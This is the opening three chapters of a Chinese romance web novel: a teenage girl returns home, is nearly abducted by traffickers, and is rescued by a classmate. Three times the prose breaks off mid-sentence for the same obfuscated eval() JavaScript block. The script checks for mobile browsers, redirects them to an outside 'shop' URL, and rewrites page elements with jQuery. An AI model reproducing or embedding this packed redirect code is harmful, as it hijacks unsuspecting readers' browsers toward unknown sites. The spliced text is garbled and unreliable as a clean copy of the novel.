《岛屿浮沉》 1. 十七岁 2011年，摇杏巷。 晴蓝的天，陈年的小巷，蔷薇满墙满墙地开，老槐树下停着一辆灰扑扑的小破三轮，车上是空的，有装卸过的痕迹。 傅迟南搬完最后一件行李从楼上下来，他身上穿着一中的蓝白条纹校服，袖子撸到手肘处，清瘦的手臂上沾了些灰。 初屿和薛颜蹲在井边，一边闲聊一边啃西瓜，这西瓜是初屿的外婆云香娥刚从清凉的井水里打捞出来的。 西瓜通身漆黑，品相很好，刀一碰到薄皮，就啪嚓四裂开来，露出满当当的红瓤，张嘴咬下去，满口的清甜爽脆。 傅迟南刚给初屿搬完行李，一手的灰，见她俩在那有说有笑的吃西瓜，没好气地说：“你俩倒还吃起来了，不是初抱抱，你这捡破烂的毛病什么时候能改改？” 初屿有点收集癖，喜欢收集各种各样的东西。 比如杯子，用完的笔芯，瓶盖，标签，贴纸，纸袋子，吊牌，带有印记的纸巾…… 因为她总爱把那些在别人眼里不会在意的小玩意全都宝贝似地收起来，所以行李也格外得多。 初屿弯着眼睛笑笑，下巴往一旁小藤椅上盛着西瓜瓣的白花瓷托盘一点，笑道：“谢啦，吃西瓜，好甜欸。” 九月底，淮城的高中开学刚好一个月了，小朵的白槐花纷纷扬扬地落了一地， 三人悠闲又懒散地蹲在槐树下面啃西瓜。 和煦的日光穿过槐树叶稀稀散散地落下来，舒服得让人想眯起眼睛像猫一样伸一个大大的懒腰。 初屿慢腾腾地啃着西瓜，淡粉色的西瓜汁水顺着她白嫩的手腕往下滴，她也全不在意。 片刻的宁静过后。 薛颜高举起手上的西瓜，“庆祝抱抱回淮城，傅老板晚上请吃烧烤！” 初屿眉眼弯弯，立马举起西瓜应和：“感谢傅老板！！！老板大气！！！” 傅迟南：“……………” 他们三个从小就在巷子里一起长大，傅迟南和薛颜比她大上一届，在淮城一中读高三。 初屿连个招呼都没提前打，拖着行李回了淮城，他们知道也不过是半个小时前的事。 一起长大的朋友，许久未见自然有很多话要讲，但傅迟南和薛颜还得去上晚自习，约好了下课来找她吃烧烤，边吃边聊，就赶着晚自习上课时间走了。 - 辗转坐了一整天的车，初屿胃里翻来覆去地不舒服，就没吃晚饭，啃了两瓣西瓜了事。 在初二转学去宜城之前，她一直跟着外婆生活在摇杏巷。 云香娥今年六十五了，还是个很时髦的老太太。白天打麻将，晚上跳广场舞。 她个性洒脱，也从来不拘着初屿，对她一直是放养的状态。 初屿不想吃饭，云香娥也不多管她，自己吃完把碗一撂，穿得招摇，顶着一头白色的大卷，摇着扇子就出门去跳广场舞去了。 初屿啃完西瓜，洗了手，就上楼去整理行李。 她的东西多，整理房间也是个大工程。 等到她整理完阁楼的房间，天色已然暗了半边。晚霞如同一抹浓墨重彩的绯红，随意的涂抹在深紫的画布上，再一点点氤氲开来。 初屿累出了一身汗，她简单地洗了个澡，躺在床上把刚充好电的手机按开。手机有些旧了，开机总有点久，她百般无赖地拨弄着手机吊坠。 白色的小兔子在她指尖一晃一晃的。 开机后照例卡了一会，然后跳出一堆未读短信。 最近一条来自云温枫。 【到了外婆家给妈妈报个平安。】 初屿犹豫了一下，拨了个电话过去，铃声响了一会，很快被挂断。随后有短信进来，又是那句，【妈妈在开会。】 初屿已经习惯了，她回短信：【我到了。】 其余的短信都来自她在宜大附高的同桌姚婷婷。 【呜呜呜鱼鱼你怎么转学转得这么突然，呜呜呜，我好可怜嗷，我现在是整个班唯一一个没有同桌的人。】 【呜呜呜我好想你，没有你提醒我，早自习我的小说被没收了啊啊啊，我刚看到男女主重逢的我痛不欲生。】 初屿看着手机里的短信，有点神情恍惚。 关于宜城，那个她明明生活了三年，却依旧没有半点归属始终感到陌生的城市。 她从很小的时候就跟着外婆，父亲去世得很早，母亲云温枫一个人闯出去打拼事业，前些年和时立坤在宜城重组了家庭，逐渐安定下来，在她十四岁那年将她从淮城接了过去。 初屿跟着云温枫离开从小长大的摇杏巷去那个陌生的城市时，不是没满心期盼过久违的母爱。 但到了宜城，云大律师的事情依旧很多，每天都有忙不完的案子，她住在新家庭里，面对的不是保姆就是不好相处的继兄。 在宜城的三年，她热烈地渴望，也曾在深夜的梦里，回到淮城，回到摇杏巷的外婆家。 大抵是做了太多次的梦。 以至于这次真的回来竟然没有一丝的真实感。 总觉得还在梦里。 直到看到这些短信。 原来她这次，不会从梦里醒来，是真的离开宜城了。 初屿唇角上扬，唇边的梨涡浅浅陷下去，她有点儿高兴。 但这样未免也显得有点太没良心，她欢快地按手机按键，【我也很想你的，过两天我给你寄这边的特产好不好？】 现在是晚自习时间，宜大附高以军事化管理全国闻名，上课时间都直接屏蔽信号的，姚婷婷估计要到晚上回去才能回她消息。 初屿这次回来的实在匆忙，还得去外面买些必需的日用品，天色不早了，她有点夜盲症，只想着早去早回。 于是出门。 - 初屿捏着便签，在超市把需要的生活用品买全时，夜色已深。 晚风清清凉凉的，带着点清甜的桂花香。大概今晚会有雨，乌云遮了月色，空气有些潮湿。 初屿拎着超市的塑料袋往家走，她买的东西不算多，但因为买了一大罐酸奶的原因，重得有些勒手。 她顺着路灯，走一段路换一只手，心里盘算着今晚这雨要什么时候下，会不会影响她今晚吃烧烤。 走到街心的十字路口时，街旁有个老奶奶，神情急切地拉住她，打听最近的药店怎么走。 初屿记忆里最近的药店在淮城一中那条街上，最近的路线大概就是沿着身后这条路直走，拐个弯，走一段路就到了。 初屿比划了几次，老奶奶总是听不明白，带着哭腔说是要去给老伴买什么药，连带着初屿也跟着着急。 说了两次之后老奶奶还有很迷茫，初屿想着也不算远，走得快的话，也不过十来分钟的路程，就直接带路了。 “奶奶您先别着急，到前面拐个弯就到了，您住哪儿，要买什么药啊？” 街道边不时会有隔壁职高的混混们骑着机车呼啸着飞速而过，他们总爱把机车的消声器卸了，车快得好似要赶着和谁拼命一样，横冲直撞的，到哪儿都要闹出万众瞩目的动静。 身旁有人骂道：“就这么个破车不知道有什么好装逼的。” 初屿倒没觉得是装逼。 还认为是他们好心。 这难道不是知道自己会撞死人，才特意老远的就提醒行人们：老子来了，不想死的就赶紧闪开。 初屿不动声色地和老奶奶换了个位置，自己走到街路外侧。 她无意间往后一瞥，觉得哪里有些不对。 老奶奶依旧很急，拽住她的手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177105|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我就住在这附近，真麻烦你了小姑娘，你真善良啊，你是哪个学校的，改天我去给你送锦旗。” 初屿收回视线，连忙摆手，“不用的奶奶，不麻烦。” 走过拐角，是一条相对僻静的小路，这条小路去药店最近。 小路的左侧是一中的高围墙，右侧是几排老旧的楼房，楼上租住的大多是一中的走读生。 现下是晚自习上课时间，这条小路几乎没什么人，路灯坏了一个。 其余的也都年岁久远，有气无力地亮着。 右侧老楼的楼道里黑漆漆的，不时有些类似于野猫轻窜而过的声响，加上夜里初屿视线有些受限，视野大半都变得模糊，总觉得心里有些不安。 初屿又回头看了一眼。 她终于知道是哪里不对了，是那辆灰扑扑的面包车还不紧不慢地跟在她的身后。 小路的两头都连接着较为热闹的地段。 可偏偏她们已经走到小路的中间，两边挨不着，荒寂得让人心慌。 她心里又慌又乱，下意识加快脚步，也不管看不看得清脚下，只想快点走出这条让人不安的路。 老奶奶的手此时好像一把铁钳，死死钳住她的手臂，“哎呀小姑娘，你走这么快干什么，我跟不上。” 初屿心里发凉。 最近发生的事又急又乱，她好几天没睡好，加上辗转坐了一天的车，脑子原本就浑浑噩噩的。也是因为终于回到了自己习惯的地方，对方又是和外婆一样的老人，她几乎是没有任何警惕。 直到这时初屿才惊觉出这整件事的漏洞。 老奶奶说她家住在附近，老伴常年有病，又怎么会连最近的药店都不知道走。 脑子里突然冒出曾经班主任在安全教育课上所说的那些拐卖的传闻，一个接一个。 初屿咬着唇，头皮一阵阵地发麻，她语速极快，又语无伦次地说道，“药店就在前面，您自己去吧，我——” 她不敢回头往身后看那辆面包车，但潜意识里，总有种它在不断逼近的感觉。 初屿瞥了眼右侧黑漆漆的楼道，连忙道：“我舅舅住在上面，我就送您到这了。” 她挣扎了一下被拽住的手腕，同时抬头往楼上大声地叫喊：“舅舅——” 声控灯应声而响，一层一层地亮上去，前面的场景随之明亮了几分。 趁这机会，初屿用力猛地甩开老奶奶的手，撒开腿打算往楼上跑。 身侧的一楼楼道里突然传来类似桌椅拖动的声响，昏暗里走出一个高瘦的男人，拉出长长的，黑色的剪影。 一瞬间，初屿楞在原地。 僵持间，刚刚被她喊亮的声控灯又一层层熄灭。 像是一点点熄灭了她的光。 楼道里还有他们同伙。 而她往楼上跑的路也被堵死。 意识到这点，初屿几乎在那一瞬间感受到绝望，眼泪几乎不受控制地涌出，恐惧像瞬间灌入她鼻息的水，铺天盖地地将她淹没。 初屿从未碰到这样的事，但也知道此时应该冷静下来，她颤抖着手在兜里摸索着手机按键。 “还不上去？让你买点东西买半天。” 男人从漆黑的楼道里彻底走出，借着稀薄的月光，初屿看不清他神情，只看清走出的他身上穿着和傅迟南一样的淮城一中蓝白条纹的校服，拉链直拉到锁骨处，衣袖松松挽到手肘处，露出冷白劲瘦的手臂。 也许是因为这件熟悉的校服。 又或许，只是因为来人是一个嗓音干净的少年。 也说不清为什么。 总之，他的突然出现。 在她对之后要发生的一切尚且还一无所知的时候，就已经像得到什么很大的庇护一样，轻轻地吸了吸鼻子。 2. 十七岁 男生撂下这句话，不等她做出反应，很快地上前，拉过她的手腕将她扯到自己身后。 他很高，吊儿郎当地往她身前一站，姿态散漫。即使是这样紧迫的情形，他神情也是淡淡的，看不出有什么情绪波动。 初屿偏头看向停在不远处那辆面包车，脏兮兮的，不起眼，没有车牌，前面坐有两个男人，戴着黑色口罩，帽沿低低地压着。 后座看不清。 面包车加快速度逼近，后座的门被从里面哗地一声拉开。 初屿觉得自己紧绷的神经也随之断裂了。 男生没回头，推她，嗓音很淡：“跑。” 初屿这才看见男生另一只手上还拎着块滑板，他表面看上去风轻云淡的，实际手臂上凸出的青筋如同交错盘旋的青色树根，背脊的肌肉紧紧绷着，整个人像是一头暴戾且蓄势待发的凶兽。 知道自己在这不会给他带来什么帮助，初屿没犹豫，转身往楼道里跑。 而在她转身的那一秒。 身后，男生混不吝地昂了昂下巴，手上的动作很快，单手抡起滑板，猛地上前，砸上行驶到眼前的面包车车窗。 “砰——————” 身后传来震天地的声响。 初屿死死地咬住唇，往上跑。 面包车后座迅速冲出来两个凶狠的男人，一个高瘦黄毛，一个很壮的花臂。 他抬起一脚干脆利落地将高瘦的那个踹倒，又迅速同花臂厮打在一起。男生穿着干净的高中校服，下手却极其狠，落拳生风，招招冲着要害，凶狠如同嗜血的狼。 顿时哀嚎声响起。 身后破裂的巨响，以及混乱不堪的脚步声，在寂静的夜里，顺着空荡的楼道一声一声传上来。 初屿不敢回头，却控制不住地尖叫。 握着手机的手已经出汗出得一塌糊涂，按键早就偷偷按好了。 她一边快速地向上跑一边像个疯子一样狂拍各层住户的铁门。 那一瞬间，好像整个世界都安静下来。 只剩下急切的拍门声，楼下混乱的厮打声还有她带着哭腔的叫喊声。 “有没有人！！” “救命！！！” 楼下。 黄毛和花臂二人逐渐落了下风。 似乎是没想到他们二人连个高中生都对付不了，副驾驶上的寸头暗骂了一声，摸到两把把折叠刀冲下了车，丢给了花臂一把。 三对一，来者都是练家子，加上对方有手上有刀，男生多有掣肘，一连挨了好几下，逐渐不敌。 “妈的，坏老子事，去死吧！” 寸头扬起刀，眼神阴毒。 “叔叔！！！我…我朋友还在下面…帮帮我们！！” “救命啊！！开门，有没有人啊！！！” “伯伯你下去好不好！！帮帮我们！！！求求你了！！” 楼道里逐渐传来骚动，骚动越来越大，人声脚步声参杂其中，越来越大，越来越近，还传来几声粗壮的怒喝制止声。 驾驶上的男人见情形不对，转身跑上车，扬声喊：“算了，上车！” 黄毛和花臂迅速钻进了大开的车后排。 寸头收了刀，正打算跑上车。 男生迅速从地上爬起，用尽全力从背后锁住了寸头的喉。寸头死命挣扎，扬起一阵飞尘。他脸色憋的铁青，眼睛充血凸起，左手握着刀往身后刺。 男生的注意力原就在他的刀上，见此迅速侧身躲开，寸头右手顺势用力往后狠狠一肘。 寸头这一下够狠，用尽了全力。 男生吃痛地闷哼一声，腹腔里的器官瞬间颠了位，他弓着腰忍着疼劲，扫腿将人放倒在地。 与此同时，楼上，初屿手里的电话接通。 “您好，这里是淮城警察局，请问发生什么事了？” “我们遇到了人贩子，”她的声音颤抖，“在一中出租房，后墙这排。” 初屿听到车子开动的轰隆声，立即跑到窗口，探身往楼下看，正巧看见那辆面包车试图逃离逃离现场。 “他们开车跑了，一辆白色面包车，没有车牌，车窗玻璃被砸碎了，”这个居民楼的窗台修得很高，初屿一边握紧手机吃力地往上爬。 面包车往巷口开，她视线有些模糊不清，但依旧很努力地探身去看，“现在往左拐，往平安街那边去。 眼看着同伙已经行驶着面包车逃离，而楼上的人马上就要下来，寸头急红了眼，他握着刀挣扎，像是要同归于尽似地一边死命挣扎一边向后疯刺。 男生躲避不及，手腕上不慎被轻划了一道，不深，但血瞬间涌了出来。随后寸头很快被率先冲下来的两个大叔按住，再迅速地被一群人围住。 男生没骨头地倚在一旁墙上，扯了下唇，轻吹了下背汗浸湿的额发。他低垂着眸，扫了眼手腕，随即慢条斯理地将校服的衣袖放下来。 昏暗的光线下看不清他脸上的表情，有人过来询问情况，他混不吝地摆了摆手，示意自己没事。 打完电话。 初屿探身往下看，窗子的正下方被栽了多肉的窗台遮挡了一部分。但还是能看见楼下短时候内已经聚集了不少人，有住户，也有听到声响过来。 乌泱泱地围在一起，吵吵闹闹的，很多人在咒骂着，也有在警察来之前血气冲忍不住对人贩子动手的。 无论是谁，听到是拐卖这种事，都难掩气愤。 “这些杀千刀的人贩子，也不怕报应……” “几年前年河对岸就有个女娃子失踪了，现在都还没找到，太惨了，那女娃的爷爷当晚就脑溢血没了，妈妈也疯了……” “就该枪毙！下地狱！” 初屿倾身，焦急地眯了眯眼睛，试图在混乱的人群中找到那个明明素味平生却将她护在身后的少年。 没有看见人。 初屿抿了抿唇，急切地从窗台上跳下来。她心里慌，脚下看不清，跳下的时候，脚踝直直地扭了一下，膝盖猛地砸在了地上。 剧痛袭来，初屿长长地嘶了一口气，然后眼泪毫无预感的，一滴一滴地砸到水泥地上，四溅开来。 她一边用手背擦眼泪，一边挣扎着起身。 楼下人声嘈杂。 而她在模糊的视线里，看见了一双向她伸出的手。 宽大的手掌，指骨修长又指节分明，筋脉在冷白色的肌肤上性感地突起。 腕骨内侧的脉搏附近，擦破了皮，浅浅渗出鲜红的血，看上去像一件脆弱又极具破碎感的艺术品。 初屿的视线随之往上，落到他身上。 他逆着大半的光，校服脏了，额发有些乱。黑眸深深，眉骨处有些青紫，姿态依旧很拽，似乎是没怎么落下风。 头顶倏地落下轻笑声。 然后是少年混不吝的嗓音。 “喂，谢也不是这么个谢法吧，还要跪多久？” 初屿看了他好久，才回过一点神，她真的被吓得有些懵了，头皮现在还在细细的发麻。 真就这跪在地上这个姿势，打算和他道谢，“对，谢……” 得算是他反应快。 男生急忙弯腰，伸手把人给拽起来。 她头发乱得一塌糊涂，细碎的胎毛散落在额前，被汗浸湿了尾端，脸上又不知道从哪里蹭了些灰，看上去脏兮兮的。 璀璨的狐狸眼泛着朦胧水雾，眼睫也湿漉漉的，轻轻垂着，像是被吓傻了一样，失魂落魄的。 有些迟钝地看他，没什么生气。 男生看着，挣扎了两秒，随后抬起手，轻盖到女生的额头，极为生硬地轻拍了三下。 这是淮城这边的旧俗，家里长辈惯用来替小孩子驱邪压惊的动作：轻拍额头三下，嘴里还会念叨一些驱邪的吉利话。 初屿的眼睫颤了又颤，眉眼慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177106|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地，因为膝盖上传来的刺痛，委屈地皱在一起。像是真的被他召回来魂了。 即使他动作生疏僵硬，也不曾说上半句吉利话。 男生扫了一眼她的脏兮兮的白棉裙，窗台上那点灰全给她擦得干干净净，齐膝盖的那块有一小片鲜红干枯的血迹。 竟是比他伤得还惨烈一些。 他皱眉，轻声道：“怎么搞成这样，能走？” 缓过刚站起的那阵痛，初屿轻动了下腿，点了点头，她吸了吸鼻子，好看灵动的狐狸眼一眨不眨地盯着他瞧，嗓音带着点颤，“你呢，你有没有事？ 初屿刚才听到楼下的激烈打斗声，直到现在都心有余悸，害怕受伤的人是他。 她上上下下，几乎是一寸一寸地打量他。 他穿得严严实实的，现下连校服外套的袖子也放下来了，姿态神情也并无异常，看不到哪里有其他伤。 “没，走了。” 少年嗓音平淡，转身往楼下走，他走了两步，又低声道：“以后注意些，晚上也少一个人出门。” 他说这话的嗓音低，好像软了几分。 初屿下意识点头，又看他直往下走，没有回头再看她，于是又开口应道：“嗯。” 楼道的灯光经久未修，灯泡上又不知道覆了几百层飞蚊的尸/体和油污，光线昏暗不明，初屿看他有点模糊。 意气风发的少年，乌发黑眸，长身鹤立，连背影都拽得不可一世。 晚风从邻近的窗台吹进来，刚刚一顿折腾，她身上出了汗，此时被带着月桂清香的风一吹，浑身都松懈下来。 像是如获重生。 初屿抿了抿唇，唇边漾起一个浅浅的梨涡。 今晚好像，也不算太倒霉。 两人一前一后地往楼下走。 初屿忍着痛膝盖和脚踝处传来的疼痛，侧着身单脚一个一个台阶地往下蹦。 到底是十来岁的小女生，见危机的情形过去，可依仗的人就在身旁，糟糕的情绪转头就不知道抛哪去了。 她语气变得轻快。 “欸，我的袋子呢？” “你上来的时候有看到我把袋子丢哪了嘛，就是一个超市的大购物袋，白色的。” 少年的嗓音依旧很淡，又懒散，像是对一切都不在意。 他说：“没注意。” “对啦，他们怎么跑了？你打架这么厉害的嘛？你是学过嘛？” “跆拳道？空手道？” 初屿的嗓音清脆，因为是疑问的语气，她尾调婉转上扬，最后一个道字都用的是第三声。 少年单手插着兜，吊儿郎当地走在前面，头都不回，嗓音散漫，学她的语调，“不知道。” 初屿很轻易地被他带偏。 心想，不知道是哪个道啊。 男生垂着眸，扯了下唇，嗓音带上点戏谑，“估计遭你吓跑的吧，你那嗓门，楼都要被你喊塌了。” 他一边说一边侧身，眼尾轻飘飘地扫了初屿一眼。 初屿：“………………是、是么?” 少年却没有再接她的话。 他往后看的视线顿住，停在她身上。 初屿白皙的脖颈上系了一根红绳，大概因为她刚才一蹦一跳地下楼，现在绳子跳露在外面，下面坠着块不起眼的黑石子。 男生的眼睫颤了下，点漆的黑眸盯着看了一秒，两秒，三秒—— 他轻垂下眼，长睫颤动，遮住眼底的情绪，迅速地接话，“不是。” 说完他没怎么犹豫，抬腿走上台阶，走到初屿的身旁，轻垂眼看着她。 初屿还在因为他说她嗓门会把楼喊塌而神情凌乱。 见他走近，疑惑道：“你干嘛？” 男生抬手摸了摸脖颈，清咳一声，伸出没受伤的左手，递给她，“要扶你吗？” 初屿：“…………谢谢，可是，马上一楼了欸？” 3. 十七岁 王哥烧烤店。 几年没来，烧烤店的生意越来越火爆了，店里坐满了人，店外榕树下的桌椅也挤满了，还有不少人站在烧烤架旁等着打包带回去吃。 店里人手都忙不过来，热闹得不行。 “初、抱、抱。” 傅迟南忍无可忍。 打算趁大家为她的遭遇唏嘘时神不知鬼不觉拿走桌上最后一个鸡翅的初屿：“………………” 僵持两秒。 初屿悻悻地收回伸向鸡翅的手，不甘示弱地指责道：“傅迟南，你能不能有点同情心，我都差点被拐卖了！我要真被拐卖了，就得在山里没完没了地给老头生孩子，我就吃你串鸡翅！” 傅迟南试图和她讲道理，“我刚打电话预定的时候是不是问你俩了，”他拿着筷子，指了指初屿，“一个，说没心情，没胃口。” 他冷笑：“讲你差点被拐卖的事要就五个大鸡翅。这就是你说的没、心、情、没、胃、口？” 初屿觉得有些羞愧，但还是嘴犟道：“我长身体，长身体！” 傅迟南又指了指正在一旁啃鸡翅的薛颜：“一个说要减肥。” “结果呢，一个不给我留，”他一边说一边无情地把最后一个鸡翅夹进自己面前的塑料碗里。 王哥烧烤店的生意太好，特别是这个时间段，一中的晚自习下课时间，排队的人很多，鸡翅又很需要时间烤，不提前预定的话要等上很久。 薛颜不乐意道：“傅小狗，你什么意思，你觉得我胖是吧？” 傅迟南感到无语，一个没注意翻了个白眼，再翻回来的时候碗里的鸡翅就到了薛颜手里。 傅迟南：“…………” 薛颜大方地折了一半鸡翅递给初屿，问道：“对了，抱抱，你真不用再去宜城了？怎么回事，这都上了一个月课了，云姨怎么会同意你转学回来？暑假那会都没同意。” 初屿啃着鸡翅，含糊不清地说，“我不是有个继兄吗，他前天晚上喝醉了半夜进了我房间。” 薛颜闻言瞪大了眼。 傅迟南手里的筷子也顿了一下，看向初屿。 初屿将嘴里的鸡翅肉咽下去，连忙解释道：“但是没什么事。也不能怪他吧，我占了他的房间，他成天在外面，也不常回来，一时没习惯，那晚喝醉了倒我旁边就睡了。” “我当时被吓到了，反应有点大。其实是什么事都没有，然后……他还被时叔叔打了。” 薛颜见她没什么事，一放下心，八卦属性就上来了，问道：“被打了？他没解释？” 初屿其实对那晚的印象并不是特别清楚，只记得那天晚上大雨，上半夜一直在打雷。打雷她睡不安稳，总会做噩梦。 那晚，她好不容易从诡异扭曲的梦魇中挣脱，还没松一口气，几乎是同时，察觉到房间里，有陌生的，无法忽视的存在。 然后，她看见自己身旁躺着一个高大的人影。 她情绪一瞬间崩溃，躲进被子，大哭，尖叫。 之后发生的事情混乱又仓促，等云温枫把浑身是汗的她从被子里捞出来，等到她的情绪平静下来，明白发生了什么事的时候，时朗都不在她房里了。 而书房门紧闭，隐约有压抑的训斥声传出。 初屿仔细回忆，说道：“好像没解释，他醉得要死，什么都不记得，一直黑着脸不说话，要不是后来我解释，时叔叔当晚就要把他送到局子里去。” 薛颜感叹道：“这么说，你继父人还真挺不错的，那之后，你就顺水推舟地闹着要回来吗？” 初屿眼睫颤了下，“嗯。” 其实不是。 转学回来的事情是云温枫主动和她提的。 因为那晚她蜷在被子里的时候，一直在哭着喊外婆。 “我看看鸡翅烤好了没。”初屿说完，站起来。 “你消停点吧。”傅迟南伸手想拦但没拦住，眼看着初屿瘸着了一只腿身残志坚地一蹦一蹦地往烧烤架那边蹦。 薛颜：“……我怎么感觉我那拐杖白给她了。” 傅迟南应和道：“对，等会谁也别载她，让她自个蹦回去吧。” 烧烤架上的鸡翅还白花花的，王叔忙得脚不沾地，初屿折去冰柜抱了三瓶汽水回来了。 回来之后，薛颜继续之前的话题问她：“后来呢，那个救你的男生送你回家了？就没有发生点什么？” 初屿咬着吸管，没好气地道，“没，一下楼就看见我外婆了，真是哪有热闹哪有她。” 再转身他就不见了。 初屿说到这才想起来，她好像都没来得及问他名字。 - 是夜，窗外风雨乱作，枝桠敲打在斑驳的木窗上，朦胧的月被黑暗一点点浸染。 屋内床上，初屿整个人蜷在被子里，浅薄的月色被枝桠打散，几经波折落在她脸上，影影绰绰的。 她眉头细细皱着，额间沁出薄薄一层虚汗，神情轻微地挣扎一几下，随后虚脱似地平静下来。 夜里下了雨，空气干净潮湿，夹带有新鲜草木的清香。天蒙蒙亮时，初屿睡眼朦胧地睁开眼，然后长长地舒出一口气。 昨天晚上她一直在翻来覆去地做不好的梦。 梦到她没有发现异常。 梦到没有那个男生。 抑或是昏暗楼道走出的是同样面目狰狞的同伙。 夜里打雷她多半会做噩梦，加上昨晚上的事她确实又吓得不轻，初屿对这种情况习以为常并表示理解。 这两天正好赶上淮城一中月考，考完学校就直接放国庆假了。初屿是半道来的转学生，他们月考自然没她什么事，学校安排了她国庆后再去报道。 外面的雨已经停了，风带着潮气，空气清澈。 她起床洗漱，拉开阳台门，视线一顿。 斜侧方的小院穿过一个男生的身影，一身的蓝白条纹校服，里头穿了一件纯白色的连帽卫衣，帽子高拉过头顶，看不见脸。 长身鹤立，气质清冷，有带点独属于少年的拽，和昨晚上那个男生的身形倒有点像。 初屿一路看着他出了院子，骑上单车，穿过门口那棵槐树落下的影子，呼啸而过。 他的校服敞开，里面灌满了风，勾勒出他的身形轮廓，高瘦挺拔得像一棵迎风的白杨树。 这人谁啊。 初屿往他出来的院子看了一眼。 这院子之前住着一位和蔼的阿婆，她的院子里总是开满了花，还扎了一个秋千。因为两家离的近，初屿小时候老爱去跑去家院子里玩。 阿婆还会做槐花糕，绿豆沙，给她讲故事。 只是后来阿婆去世了，她的院子就荒废了。秋千落了尘，花没人照料枯黄成一片。 那个时候初屿还在上小学，哭了好大一场，还经常翻过铁门去试着养活那些花，可是没用。 后来她就再没去过那个院子，连经过都不肯再看一眼。 如今这院子已经被拾掇过，花没再种，但收拾得很干净，秋千还在，旁边搁着一个篮球。 她估计刚才出来的男生是阿婆家的哪个小辈，正巧在一中上学，这边离学校很近，为了方便就住过来了。 阿婆留下的痕迹正在一点点被擦去，被替代。 她垂下眼眸。 她似乎也，不太记得阿婆的样子了。 初屿下楼，外婆早起了，桌子上摆了巷口那家的豆沙包，还热乎着。 她叼着豆沙包去院子，外婆躺在小摇椅上听收音机里唱戏，摇头晃脑的，看上去惬意到不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177107|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “外婆，傅叔在家嘛？” 云香娥抬眸瞥了眼她，“在啊，你脚怎么肿成这样了，给你的药酒涂了没？” 初屿嫌弃那个药酒味道太冲没有涂，她单脚蹦跶几下，“已经没事了，外婆我去阁楼上拿两瓶酒去看傅叔了啊。” 云香娥心里感叹一句年轻就是好，附和道：“行，去吧，你这次转学也是傅主任帮的忙。” 初屿点头，“知道啦。” 她得去问一下新班级的进度，如果有落了的，就刚好乘这个国庆假期补上去，免得到时候赶起来吃力。 初屿把包子吃完，一蹦一蹦地上了阁楼，从床底下拖出几瓶酒，擦干净灰就抱着跑出了门。 云香娥气得追在后面喊：“腿这样了还跑，别摔了我的酒，小祖宗。” 到了傅迟南家，初屿按响门铃。 傅国沪拉开门，乐道：“哟，初抱抱，这都多久没见了。来就来了，怎么还抱着酒，快进来坐。” 初屿笑得眉眼弯弯，“我来谢谢傅叔。” “啧，还这么见外，”他接过酒，闻了一下，放在一旁的柜子上，乐道：“这酒好，不要白不要。” 老巷子又深又小，事儿不论大小，总是传得很快。 昨天初屿差点被拐卖的事情一个晚上就传遍了。 傅国沪当了二十多年教导主任，职业病一上来，从初屿进门开始就一直噼里啪啦念叨个没停。 一再强调让她以后出门一定要提高警惕，直到初屿捂着耳朵求饶他才罢休。 “吃早餐了没，叔刚煮了玉米排骨汤，来吃点？我给你去盛？” “好呀，我最喜欢喝玉米排骨汤了，谢谢傅叔。” 傅国沪去厨房盛了一大碗出来. “欸？”初屿从沙发上捡起一本练习册，中间还夹着一张写了一部分的试卷，“这有用没用啊，傅迟南是不是落东西了?” “这小子，”傅国沪接过来看了一眼，“等会我给他带过去。” “对了，”一看到试卷，初屿才想起她来的目的，“傅叔，我要去的那个班现在是什么进度。” “啊对，一班进度是很快。他们班是全理科，我记得还补了大半个暑假的课，这个等会我帮你问一下一班的任课老师们。” 初屿啃着排骨点头。 “对了，”傅国沪指了一下巷口的方向，“江妥也在一班，就住在你家斜对面那个院子，他成绩好，年级第一，你有不懂的可以问……” “算了，”傅国沪推了推眼镜，补充道：”这小子混，你还是别招惹他。” 初屿眨了下眼，埋头喝汤：“知道啦。” 她喝完汤，和傅国沪一起出门。到自己院子门口时，初屿回头，看向斜对面的那个院子。 那她早上看到的那个，就是年级第一的江妥了。 这名字好像有点耳熟。 她走近那个小院，扒着铁门往里看，之前阿婆的院子里栽了好多花，现下花盆大多都荒了，为了不占地方全都垒到墙角边。 只余下几排长在地上的绣球和窗台上的多肉。 她看着那几株多肉，脑子里浮现出曾经它被掐得七零八落的样子，突然就想起来了。 江妥。 那不就是阿婆的那个讨人厌的孙子。 初屿皱眉，烦人，晦气。 年级第一了不起啊。 长得人模狗样的了不起啊。 不对。 早上没见着脸。 他小时候就长的不怎么样，现在肯定也好不到哪去。 初屿一脸嫌恶地从他家的铁门上弹开。 还差点单脚没站稳摔了一跤，她觉得更烦了，一刻都不想停留，怒气冲冲地蹦回了自家院子。 4. 十七岁 